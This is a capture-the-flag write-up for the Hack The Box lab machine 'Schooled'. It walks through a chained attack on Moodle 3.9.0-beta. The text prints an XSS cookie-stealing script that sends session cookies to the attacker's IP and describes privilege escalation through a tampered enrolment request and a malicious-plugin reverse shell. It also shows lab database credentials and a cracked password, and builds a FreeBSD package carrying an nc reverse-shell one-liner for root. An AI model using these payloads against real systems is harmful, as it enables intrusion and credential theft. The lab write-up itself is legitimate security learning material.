Hack The Box: Schooled

Prelude

Schooled was an intermediate machine from HTB, developed by TheCyberGeek. This machine was actually a bit tough for me on gaining the initial foothold, just because the service to exploit was hidden behind a subdomain and there’s no indication in the main page that there’s a subdomain in the target.

That is actually a realistic accept of penetration testing/bug bounties and I had to perform a subdomain enumeration to uncover the subdomain; which I haven’t done before inside HTB network.

The privilege escalation part was pretty straightforward, but exploiting the service located at the subdomain for gaining initial foothold was a little intricate. It involved exploiting multiple vulnerabilities in the service and chaining them together to gain the reverse shell. It was a one of a kind exploit chain and I’ve thoroughly enjoyed the process!

Let’s start the exploitation.

Exploitation

As usual I started the exploitation with Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.234

And I got the scan result as follows.

# Nmap 7.91 scan initiated Fri May 28 14:44:36 2021 as: /usr/bin/nmap -sCV -v -oN tcp 10.10.10.234
Increasing send delay for 10.10.10.234 from 0 to 5 due to 181 out of 602 dropped probes since last increase.
Nmap scan report for 10.10.10.234
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
|_http-favicon: Unknown favicon MD5: 460AF0375ECB7C08C3AE0B6E0B82D717
| http-methods: 
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

There was only two ports running.

From the SSH banner, I presumed the Operating System to be atleast Free BSD 11.4.

Then I started the enumeration of Port 80 by navigating to http://10.10.10.234 via the web browser and I saw the following page.

This was a static website and there wasn’t any actual functionality to the website. Even sending a message on contact us resulted in a 404.

Navigating to /teachers.html showed the following list of staff.

Potential usernames

The footer on the page suggested that the server have a domain name called schooled.htb.

So, I added the domain name to my /etc/hosts file and refreshed the page. But, the same page was rendered.

Other than this, there wasn’t much to do and I was stuck here after gobuster-ing and scanning the website with nikto.

So, I stared enumerating the sub domains, since there wasn’t any other services to enumerate.

gobuster vhost -u http://schooled.htb/ -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt|tee gobuster-vhost

And I got a hit on moodle.schooled.htb.

So, I added moodle.schooled.htb to my /etc/hosts file and browsed it via web browser and saw the following page.

I looked up moodle and found out that it is a Learning Management System (LMS). LMS is a sub category of CMS, aimed at providing services for online learning platforms.

I found a snyk.io page that showed several different vulnerabilities affected Moodle. However to test them, I need to verify the Moodle version running at the target.

Hacktricks has a great page demonstrating different tools to automatically scan Moodle.

I used moodlescan first.

Moodlescan found the version as 3.9.0-beta.

The Exploit Chain

Snyk.io showed all sorts of different vulnerabilities affecting Moodle 3.9.0-beta. The juicy ones are listed below:

The Improper Authorization allows anyone to create a new user account without confirming the email address. Then we can use Persistent XSS to steal cookies of a higher privileged Teacher account. Once we get Teacher account, we can use the Privilege escalation vulnerability to promote ourselves to the most privileged Manager account. Once the privesc is successful, then we can login as Manager to enable plugins and upload a malicious plugin file to gain remote code execution in the target machine.

This is the exploit chain we have to follow in order to gain the initial foothold on the machine.

Let’s do just that.

Step #1 Improper Authorization

I went to /moodle/login/signup.php and created a new account named secnigma using an email id with prefix @student.schooled.htb.

Once we have created an account, there will be a prompt asking us to confirm the email address, along with a Confirm button.

Click the button and we’ll be logged into Moodle.

Inside Moodle, we can see that there’s some courses. Amongst them, we can self enrol into maths, led by tutor Manuel Philips.

Enrol into the course and Step #1 is now complete.

Step #2 Stored XSS

Moodle has a stored XSS vulnerability in the moodlenetprofile field at user edit page:
http://moodle.schooled.htb/moodle/user/edit.php?id=29&returnto=profile

Since MoodleSession cookie is not set to HTTPOnly, we can use a simple cookie stealing XSS to hijack the session ID of other users.

HttpOnly set to False

Now the next step is to find a victim. Since, the only course we could access is Maths, I assumed that the intended vector is to hijack the session ID of the teacher and then elevate privileges to manager.

So, I looked up the teacher and found the teacher is Manuel Philips.

Then I started the XSS attack by finding a simple XSS script.

I got the cookie stealer payload from AXDOOMER/easy-xss-cookie-stealer github repo. The repo contains a cookiestealer.php script that decodes the base64 encoded cookie and saves it in log.txt file.

I cloned the XSS github repo and stared a PHP server using the following command.

sudo php -S 0.0.0.0:80

WARNING: Don’t forget that this is a dangerous way to run a PHP server, since this doesn’t have any security mechanisms built in and any PHP file located at the working directory will be accessible to the public.

Then I pasted the following XSS payload to the MoodleNetProfile field and save the configuration by clicking Update Profile at the bottom of the page.

XSS Cookie stealer payload I used is given below.

<script type="text/javascript">
document.location='http://10.10.14.37/cookiestealer.php?c='+encodeURIComponent(btoa(document.cookie)); 
</script>

Then I went to Manuel Philip‘s profile, added him to my contact and messaged him.

And I got two cookie values!

The first cookie is my own and the second one is Manuel Philips‘s.

So, I pressed F12 in my Firefox and swapped my cookie with Manuel Philip‘s and I got in as him!

Step #2 Complete!

Step #3 PrivEsc to Manager

Now that we’ve got the Teacher account, let’s use the privilege escalation vulnerability to promote Manuel Philips to the Manager role.

To do that, we have to first add the current Manager to Manuel Philip‘s Maths course. If we look back at our notes, we can see that from the staff list, Lianne Carter is the Manager.

So, first we have to add Lianne carter to our course.

To do that, as Manuel, go to Maths > Participants and then click Enrol Users.

Then from Select Users, search Lianne and add her as a student.

Before we click Enrol users, start BurpSuite and intercept the request to enrol users.We need to repeat the same request and repeat it with a little modification for the privilege escalation.

Once the request has been intercepted, add the request to Repeater and then forward the request. Confirm that Lianne is added into the course before proceeding to the next step.

Great!

Now go to BurpSuite’s Repeater tab and modify the GET variables userlist%5B%5B to User ID of Manuel Philips (24) and roletoassign as 1 and send the request.

Refresh the Participants page to confirm the privilege escalation.

Success!

Now, if we go to Lianne Carter‘s contact page, we can see an new option called Login as opened under Administration section.

Click on the link and we’re logged in as Lianne Carter!

Step #3 Complete!

Step #4 Remote Code Execution

We have arrived at our final step.

We are going to execute remote code via Moodle by uploading a malicious plugin.

To do so, we first have to enable plugins if plugins are disabled. Here, the plugins are disabled as there is no option under Plugins section.

Go to http://moodle.schooled.htb/moodle/admin/roles/define.php and click on Save Changes and Intercept the request via BurpSuite.

The request will look like the following.

We have to change the POST data after the sesskey variable and it’s value to the end.

Use the payload mentioned here to replace the Intercepted request data.

Once the payload has been pasted, forward the request.

Now, go to http://moodle.schooled.htb/moodle/admin/search.php#linkmodules and if we did everything correctly, the Install Plugins link should be active.

Now that the plugins are enabled, let’s craft a malicious plugin.

A sample plugin zip file can be obtained from here or from hacktricks.

Download it, unzip and edit the PHP reverse shell file’s IP address and Port number accordingly.

After that recompress the files back to the zip file using the following command.

zip -r reverse.zip rce/

This command will recursively compress the directory named rce into a zip file named reverse.zip.

Now, upload the reverse.zip file as a Plugin to Moodle.

Click the Install Plugins link and upload the reverse.zip file.

After this, start the nc listener and go to http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id to get a reverse shell.

And we’re in!

Dwight The Office GIF - Dwight TheOffice Win - Discover & Share GIFs
WIN!

Gaining shell as Jamie

Gaining the shell as Jamie was pretty straight forward.

I found the database credentials at /usr/local/www/apache24/data/moodle/config.php.

The credentials were moodle:PlaybookMaster2020.

MySQL was in the machine. But, the PATH variable didn’y had MySQL.

I found the MySQL binary by find / -type f -name mysql 2>/dev/null and exported the PATH.

I then logged into MySQL server and exported admin‘s hash from moodle database.

It was a bcrypt/blowfish hash, but it cracked pretty quickly with rockyou.

The password was !QAZ2wsx.

I used the password to login as Jamie via ssh.

Privilege Escalation

Jamie could run /usr/bin/pkg with sudo. pkg is the binary package manager of FreeBSD.

GTFOBins have an entry about how to create malicious .txz packages.

To do that, we first have to install fpm.

Fpm is a package maker which can be used to build packages such as rpms, debs, OSX packages, etc.

sudo apt-get install ruby ruby-dev rubygems build-essential
sudo gem install --no-document fpm

I used nc traditional payload to get a shell back. I crafted the malicoius package using the following commands.

TF=$(mktemp -d)
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.37 9001 >/tmp/f' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF

After this, we will get a file in the pwd named x-1.0.txz.

I copied the file to the target as evil.txz and ran the following command to get a shell.

sudo pkg install -y --no-repo-update ./evil.txz

And I was root!

Best More Power GIFs | Gfycat

Postlude

And that’s Schooled.

This was a great machine and I’ve learned several things from this box.

Kudos to TheCyberGeek for creating such an awesome machine!

Peace out! ✌️